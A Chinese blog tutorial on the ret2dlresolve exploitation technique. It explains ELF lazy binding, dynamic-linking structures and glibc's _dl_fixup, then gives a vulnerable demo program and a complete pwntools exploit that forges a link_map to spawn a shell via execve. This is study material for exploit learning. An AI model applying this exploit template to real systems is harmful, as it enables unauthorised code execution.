深入浅出探究Ret2dlreslove
前言
这个手法是国外作者在2015年提出的,当时的的漏洞利用通常包含两个阶段:第一步先通过信息泄露获得程序的内存布局;第二步才进行实际的漏洞利用。但就是有时候获得不到程序的内存布局,或者获得的被破坏的内存有时不可靠。于是作者提出了ret2dl-resolve
,巧妙地利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露
,就可以直接标识关键函数的位置并调用。因此,笔者认为该手法的经典之处在于不需事先泄露共享库加载地址(libc
基地址)也可以调用到共享库函数,故而不针对需要泄露地址才能成功的情况进行记录。
由于此文只是对于本人学习该手法的一个简单归档,所以一些简单的概念不再赘述。
Ret2dlreslove原理
动态链接的elf
文件由于采用了延迟绑定技术,在首次调用外部函数时才会去解析该函数的真实地址,即调用_dl_runtime_reslove
进行地址解析,得到实际地址后会回写got表并执行。Ret2dlreslove
就是在这一过程中对相关结构体进行伪造,利用函数_dl_runtime_resolve
的内部逻辑使得程序解析出一个恶意函数例如execve
并执行。
前置知识
延迟绑定
是什么
动态链接的程序在启动时不需要装载外部引用函数的地址,而是在第一次调用外部函数时才会去通过_dl_runtime_reslove(link_map,offset)
解析函数的真实地址并回写got.plt
表(修正外部函数的引用)。
如何实现
如下图,在第一次调用外部引用函数read
时,程序先跳转到read
的GOT
表,而此时那里并不是read
的真实地址,而是read
的plt
表地址,因此程序又跳转到了read@plt
,执行了push num
(num
为read
的重定位表项相对于重定位段的偏移) jmp PLT[0]
,再执行push GOT[1]->link_map
,jmp GOT[2]->_dl_runtime_reslove
,由_dl_runtime_reslove
进行符号解析与重定位。
ELF文件中动态链接相关段简述
.dynamic
该节存放了许多Elf64_Dyn
结构体,在IDA中位于got表的上面,保存了动态链接器
所需要的基本信息
,比如存放了ELF
文件其他节的标识和起始地址。结构体定义如下所示。
typedef struct {
Elf64_Sxword d_tag;//动态段标识号
Elf64_Sxword d_un //动态段起始地址
} Elf64_Dyn;
其中关键字d_tag
定义如下:
/* Legal values for d_tag (dynamic entry type). */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */
#define DT_NUM 35 /* Number used */
.rel.plt
该节存放了许多Elf64_Rela
结构体,是对函数引用的修正,修正的位置在got.plt
表,每个libc库函数都有自己的Elf64_Rela
结构体。在程序入口附近,位于LOAD段。
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移,got表地址 */ *****************
Elf64_Xword r_info; /* 这是一个复合值,重定位类型和符号表下标 */ *********************************
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
r_info
是一个复合值,其高32位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低32位
表示该重定位项的重定向类型
。
重定位类型(Relocation Types)
/* i386 relocs. */
#define R_386_NONE 0 /* No reloc */
#define R_386_32 1 /* Direct 32 bit */
#define R_386_PC32 2 /* PC relative 32 bit */
#define R_386_GOT32 3 /* 32 bit GOT entry */
#define R_386_PLT32 4 /* 32 bit PLT address */
#define R_386_COPY 5 /* Copy symbol at runtime */
#define R_386_GLOB_DAT 6 /* Create GOT entry */
#define R_386_JMP_SLOT 7 /* Create PLT entry */
#define R_386_RELATIVE 8 /* Adjust by program base */
......
/* AMD x86-64 relocations. */
#define R_X86_64_NONE 0 /* No reloc */
#define R_X86_64_64 1 /* Direct 64 bit */
#define R_X86_64_PC32 2 /* PC relative 32 bit signed */
#define R_X86_64_GOT32 3 /* 32 bit GOT entry */
#define R_X86_64_PLT32 4 /* 32 bit PLT address */
#define R_X86_64_COPY 5 /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT 6 /* Create GOT entry */
#define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */
#define R_X86_64_RELATIVE 8 /* Adjust by program base */
#define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative offset to GOT */
......
32位ELF
一般用来函数重定位的重定位类型就是R_386_JMP_SLOT
类型,64位ELF
函数重定位的重定位类型就是R_X86_64_JUMP_SLOT
类型,源码对其的注释是Create PLT entry
。这种类型的函数重定位
都会在ELF中创建一个PLT入口
。
.dynsym
该节存放了许多Elf64_Sym
结构体,同样地,每个libc函数都有自己的Elf64_Sym
。在程序入口附近,位于LOAD段。
typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表STRTAB中的偏移 */**************************
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性,为0代表函数的相对于共享库的加载地址的偏移未知,不为0代表偏移已知 */ ********************
Elf64_Section st_shndx; /* 节头表索引 */
Elf64_Addr st_value; /* 符号的值,函数的相对于共享库的加载地址的偏移 */************************
Elf64_Xword st_size; /* 符号的大小 */
} Elf64_Sym;
st_info
大小为 1 Btyes,高4位表示符号的绑定特征,低4位表示符号类型。
绑定特征(高四位),
#define STB_LOCAL 0 /* Local symbol 局部符号(本文件可见) */
#define STB_GLOBAL 1 /* Global symbol 全局符号(多文件可见) */
#define STB_WEAK 2 /* Weak symbol 弱符号,即遇到同名的符号优先弃用该符号的声明*/
#define STB_NUM 3 /* Number of defined types. */
#define STB_LOOS 10 /* Start of OS-specific */
#define STB_GNU_UNIQUE 10 /* Unique symbol. */
#define STB_HIOS 12 /* End of OS-specific */
#define STB_LOPROC 13 /* Start of processor-specific */
#define STB_HIPROC 15 /* End of processor-specific */
绑定特征0,1,2
均可取
符号类型(低四位)
#define STT_NOTYPE 0 /* Symbol type is unspecified */
#define STT_OBJECT 1 /* Symbol is a data object */
#define STT_FUNC 2 /* Symbol is a code object */
#define STT_SECTION 3 /* Symbol associated with a section */
#define STT_FILE 4 /* Symbol's name is file name */
#define STT_COMMON 5 /* Symbol is a common data object */
#define STT_TLS 6 /* Symbol is thread-local data object*/
#define STT_NUM 7 /* Number of defined types. */
#define STT_LOOS 10 /* Start of OS-specific */
#define STT_GNU_IFUNC 10 /* Symbol is indirect code object */
#define STT_HIOS 12 /* End of OS-specific */
#define STT_LOPROC 13 /* Start of processor-specific */
#define STT_HIPROC 15 /* End of processor-specific */
函数和变量分别取1, 2
即可
那么稍微总结一下得到st_info
取值的一般规律如下:
绑定函数: st_info = 0x12 例如: read,printf,__libc_start_main
绑定全局变量: st_info = 0x11 例如: stdin,stdout,_IO_stdin_used
绑定弱变量: st_info = 0x20 例如: __gmon_start__
.dynstr
即字符串表(STRTAB),该节存放的是libc函数的符号名,就是一个一个的字符串,诸如此类'exit'、'read'。在程序入口附近,位于LOAD段。
link_map
link_map
是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so
的.bss
段中。
struct link_map {
ElfW(Addr) l_addr; /*共享对象的加载基址;*/
char *l_name;
ElfW(Dyn) *l_ld;
struct link_map *l_next, *l_prev; /*管理link_map的双链表指针;*/
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; /*保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。*/
const ElfW(Phdr) l_phdr;
ElfW(Addr) l_entry;
ElfW(Half) l_phnum;
ElfW(Half) l_ldnum;
dl_runtime_resolve解析
该函数的作用主要分为两部分,符号解析和地址重定位,此手法是在符号解析部分做文章,因此在这里只讨论该函数进行符号解析的过程。
语言简述
-
根据
offset
找到待解析函数对应的ELF_Rela
结构体 -
根据
ELF_Rela->r_offset
获得解析出真实地址后回写所需的GOT
表地址,通过ELF_Rela->r_offset>>8
找到待解析函数对应的Elf64_Sym
-
根据
Elf64_Sym->st_name
找到待解析函数在字符串表STRTAB
中对应的符号名。
源码层面分析
如下图,程序进入dl_runtime
函数后的调用链。其中,符号解析主要由_dl_fixup
函数完成(接收参数与dl_runtime
一样,返回待解析函数真实地址),在该函数内部调用了_dl_lookup_symbol_x
函数(接收参数包含待解析函数的符号名与link_map
结构体,返回值为共享库加载地址即libc
基地址并计算出了待解析函数的偏移,此时rdx
寄存器地址加8字节即为该偏移),这个dl_lookup_symbol_x
函数主要负责地址解析。
这里重点分析_dl_fixup
函数。
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElW(Word) reloc_arg)// (link_map,offset)
{
/*#define D_PTR(map, i) \ D_PTR是一个宏定义,用于通过linkmap寻址 glibc/sysdeps/generic/ldsodefs.h
((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))*/
//ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,Elf32_Sym或Elf64_Sym
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
//通过link_map结构获取重定位表.rel.plt中所求函数的重定位项的地址
//reloc_offset为所解析函数的重定位项在重定位表.rel.plt中的偏移
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL])
+ reloc_offset (pltgot, reloc_arg));
//求出所求函数在动态链接符号表.dynsym中对应符号项的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//l_addr是共享库或可执行文件加载基址,rel_addr是重定位需要修改内容的地址,也就是.got.plt中所求函数对应项
//r_offset为相对虚拟地址,rel_addr为虚拟地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result; //查找函数的结果,其为定义函数的共享对象的加载基地址
DL_FIXUP_VALUE_TYPE value; //DL_FIXUP_VALUE_TYPE是fixup/profile_fixup返回值的类型。用于保存函数的真实地址。
/* Sanity check that we're really looking at a PLT relocation. */
/* 安全性检查,我们需要确定它是一个PLT的重定位项 */ //r_info的低8位为重定位类型设置为7意味着它是一个PLT的重定位项
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
/* 查找目标符号。如果未使用常规查找规则,则不要在全局范围内查找。 */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //if(sym->st_other==0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
/* 我们需要保持范围不变,因此需要进行一些锁定。 对于无法卸载的对象或尚未使用任何线程的对象,这不是必需的。 */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址即libc基地址
//_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,/////////////////////////////////////////////////////////////////////////////
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
/* 我们已经完成了全局范围的工作。 */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
//value为所求函数的真实内存地址
//SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。
//如果MAP_SET为TRUE,请勿检查NULL映射。
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result, ///////////////////////////////////////////////////////////////////////////////////////////////////////
SYMBOL_ADDRESS (result, sym, false));
}
else//未使用常规查找规则
{/*我们已经找到符号了。模块(以及它的负载)
地址)也是已知的。* /
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));////////////////////////////////////////////////////////////////////////////////////////
result = l;
}
/* And now perhaps the relocation addend. */
//现在也许是重新定位的加法。
//elf_machine_plt_value返回PLT重定位的最终值。在x86-64上JUMP_SLOT重定位忽略addend。
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
#ifdef SHARED
/* Auditing checkpoint: we have a new binding. Provide the auditing
libraries the possibility to change the value and tell us whether further
auditing is wanted.
The l_reloc_result is only allocated if there is an audit module which
provides a la_symbind. */
/*审计检查点:我们有一个新的绑定。提供审计
库提供了更改值的可能性,并告诉我们是否进一步更改
需要审计。
l_reloc_result仅在存在审计模块时才会被分配
提供一个la_symbind。*/
if (l->l_reloc_result != NULL)
{
/* This is the address in the array where we store the result of previous
relocations. */
struct reloc_result *reloc_result
= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
unsigned int init = atomic_load_acquire (&reloc_result->init);
if (init == 0)
{
_dl_audit_symbind (l, reloc_result, sym, &value, result);
/* Store the result for later runs. */
if (__glibc_likely (! GLRO(dl_bind_not)))
{
reloc_result->addr = value;
/* Guarantee all previous writes complete before init is
updated. See CONCURRENCY NOTES below. */
atomic_store_release (&reloc_result->init, 1);
}
}
else
value = reloc_result->addr;
}
#endif
/* Finally, fix up the plt itself. */
/* 最后,修复PLT本身。 */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
//向所查找函数对应的GOT表中填写找到的函数的真实地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
RELRO(重定位段只读保护)
该保护分可为三个等级。
NO RELRO
保护未开的情况,所有重定位段均可写,包括.dynamic
、.got
、.got.plt
;
Partial RELRO
部分开启保护.dynamic、.got被标记为只读,并且会强制地将ELF的内部数据段 .got 、.got.plt等放到外部数据段 .data、.bss之前,这样可以防止数据溢出时破坏GOT表。
Full RELRO
继承Partial RELRO
的所有保护,并且.got.plt
也被标为只读。实际上在IDA中反编译程序会看到,此时已经不区分got
表和got.plt
表,而是统一显示为got
表。
64位下无输出函数利用方法(二级保护)
引例源码
//gcc fixup.c -o part -z lazy -no-pie -fno-stack-protector
//编译于Ubuntu 18.04
//Ubuntu GLIBC 2.35-0ubuntu3.1
#include <stdio.h>
int readn(){
int num=0;
char buf[32];
num=read(0,buf,0x100);
return num;
}
int main(){
readn();
exit(0);
}
利用思路
伪造link_map
和相关字段值,调用dl_runtime_reslove
函数进行解析。
限制条件:
- 需要可以控制执行流
- 需要有可写的内存区域
- 需要知道libc版本
利用模板
#Ubuntu GLIBC 2.35-0ubuntu3.1
from tools import *
context(log_level="debug")
p,elf,libc=load("part")
global linkmap_addr
global custom_data_addr
#pwnable.tw unexploitable
def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, arch='x64',custom_data=b""):
assert isinstance(custom_data, bytes) //检查custom_data是否为bytes类型
DT_STRTAB = 5
DT_SYMTAB = 6
DT_JMPREL = 23
print_info(call_libc_RVA- known_libc_RVA)
l_addr = (call_libc_RVA- known_libc_RVA) & 0xffffffffffffffff
log_addr("l_addr")
execve_got=0x601000
print_info(execve_got-l_addr)
execve_got=(execve_got-l_addr)&0xffffffffffffffff
log_addr("execve_got")
binsh = 0
fake_rel_entry = b"" # fake entry
writable_addr = 0 # got rewrite addr, must writable
padding_byte = b"\x00"
if arch=='x64':
sizes = {
"size_t":0x8,
"l_addr":0x8,
"l_info_offset":0x40,
"Elf_Dyn":0x10,
"Elf_Rel":0x18,
"Elf_Sym":0x18,
}
pck = p64
writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
fake_rel_entry = pck(execve_got)+ pck(7) + pck(0) # r_offset + r_info + r_addend : got_VA=writable_addr + <INDEX=0>|<TYPE=7> + whatever
else:
sizes = {
"size_t":0x4,
"l_addr":0x4,
"l_info_offset":0x20,
"Elf_Dyn":0x8,
"Elf_Rel":0x8,
"Elf_Sym":0x10,
}
pck = p32
writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
fake_rel_entry = pck(writable_addr) + pck(7) # r_offset + r_info : got_VA=writable_addr + <INDEX=0>|<TYPE=7>
l_info_offset = lambda idx : sizes["l_info_offset"] + idx*sizes["size_t"]
# fill in l_info.
# e.g. l_info[DT_STRTAB] = fake_dyn_strtab_entry_addr
fake_dyn_strtab_entry_addr = linkmap_addr + sizes['l_addr' ] #指向了代码第77行的fake_dyn_strtab_entry 结构体
fake_dyn_jmprel_entry_addr = fake_dyn_strtab_entry_addr + sizes['Elf_Dyn']
fake_dyn_symtab_entry_addr = fake_dyn_jmprel_entry_addr + sizes['Elf_Dyn']
fake_str_entry_addr = 0 # dlresolve: func str addr whatever
fake_rel_entry_addr = linkmap_addr + sizes['l_info_offset'] # avoid program crash, must writable
fake_sym_entry_addr = known_elf_got_VA - sizes['size_t'] # dlresolve: got entry and fake sym entry overlap
fake_dyn_strtab_entry = pck(DT_STRTAB) + pck(fake_str_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fake_dyn_symtab_entry = pck(DT_SYMTAB) + pck(fake_sym_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fake_dyn_jmprel_entry = pck(DT_JMPREL) + pck(fake_rel_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# Forge fake linkmap struct
linkmap = pck(l_addr) # diff between func A and func B: call_RVA - known_RVA
# Three fake dyn entry
linkmap += fake_dyn_strtab_entry # point to fake_str_entry
linkmap += fake_dyn_jmprel_entry # point to fake_rel_entry
linkmap += fake_dyn_symtab_entry # point to fake_sym_entry which overlaps with got entry
# Padding until l_info array start
linkmap = linkmap.ljust(sizes["l_info_offset"],padding_byte)
# Insert fake str entry before l_info[DT_STRTAB]
linkmap += fake_rel_entry # l_info[0]、l_info[1]、l_info[2] 对攻击没有影响,所幸将rel结构体的内容放在从这个内存单元开始的三个内存单元:Elf64_Rel=p64(linkmap_addr + 0x40 - 0x8)+p64(7)+p64(whatever)
linkmap = linkmap.ljust(l_info_offset(DT_STRTAB), padding_byte)#从_info[3]、l_info[4]填充成垃圾数据
# l_info list: each element is a pointer to a specific Elf_Dyn entry
linkmap += pck(fake_dyn_strtab_entry_addr) # l_info[DT_STRTAB], just readable addr actually l_info[5],填上 fake_dyn_strtab_entry_addr,这个地址间接指向(dyn)了fake_dyn_strtab_entry:p64(5)+p64(strtab_address)
linkmap += pck(fake_dyn_symtab_entry_addr) # l_info[DT_SYMTAB] l_info[6],填上 fake_dyn_symtab_entry_addr,这个地址指向了fake_dyn_symtab_entry:p32(st_name)+p32(st_info)+p32(st_other)+p32(st_shndx)+p32(st_value)+p32(st_size)
padding_size = l_info_offset(DT_JMPREL) - l_info_offset(DT_SYMTAB) - sizes['size_t'] #算一下从l_info[7]开始到l_info[23]之间有多少字节空闲内存
# ,如果大于我们要填的后门函数的参数的字符串的长度就把字符串“/bin/sh”填进入
if(len(custom_data)<=padding_size):
linkmap += custom_data
custom_data_addr = linkmap_addr + l_info_offset(DT_SYMTAB) + sizes['size_t']
linkmap = linkmap.ljust(l_info_offset(DT_JMPREL),padding_byte)
linkmap += pck(fake_dyn_jmprel_entry_addr) # l_info[DT_JMPREL] l_info[23],填上 fake_dyn_jmptab_entry_addr,这个地址指向了fake_dyn_jmptab_entry
# otherwise, place custom_data on the bottom
# it will enlarge fake link_map size
if(len(custom_data)>padding_size):
linkmap += custom_data
custom_data_addr = linkmap_addr + l_info_offset(DT_JMPREL) + sizes['size_t']
return linkmap,custom_data_addr
main=0x00000000400537
csu1=0x00000000004005EA
csu2=0x00000000004005D0
binsh=0x0000000000601038
read_got=0x0000000000601018
pop_rdi=0x00000000004005f3
dl_runtime=0x601010
writable_addr=0x00000000601028
kong=0x600e48
_dl_runtime_resolve_xsavec=0x400426
execve_off=0xeb0f0
read_off=0x114980
#custom_data_addr=16
fake_link_map,custom_data_addr=forge_linkmap(writable_addr,read_off,execve_off,0x0000000000601018, arch='x64', custom_data=b"/bin/sh\x00")
#print(fake_link_map,custom_data_addr)#findlly, write execve to read_got
debug(p)
payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(writable_addr)+p64(0x100)+p64(csu2)+p64(0)*7+p64(main)
p.send(payload)
pause()
p.send(fake_link_map)
pause()
payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(kong)+p64(custom_data_addr)+p64(0)+p64(0)+p64(csu2)+p64(0)*7+p64(_dl_runtime_resolve_xsavec)+p64(writable_addr)+p64(0)+p64(main)
p.send(payload)
p.interactive()
相关链接
附件:https://pan.baidu.com/s/16o1LLcLES0NoP9y1UzoEHw?pwd=1234
提取码:1234
参考链接:
Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0's Blog (testzero-wz.com)
ret2_dl_runtime_resolve详解 | Sp4n9x's Blog
标签:info,addr,深入浅出,Ret2dlresolve,fake,entry,DT,define From: https://www.cnblogs.com/Sta8r9/p/17732965.html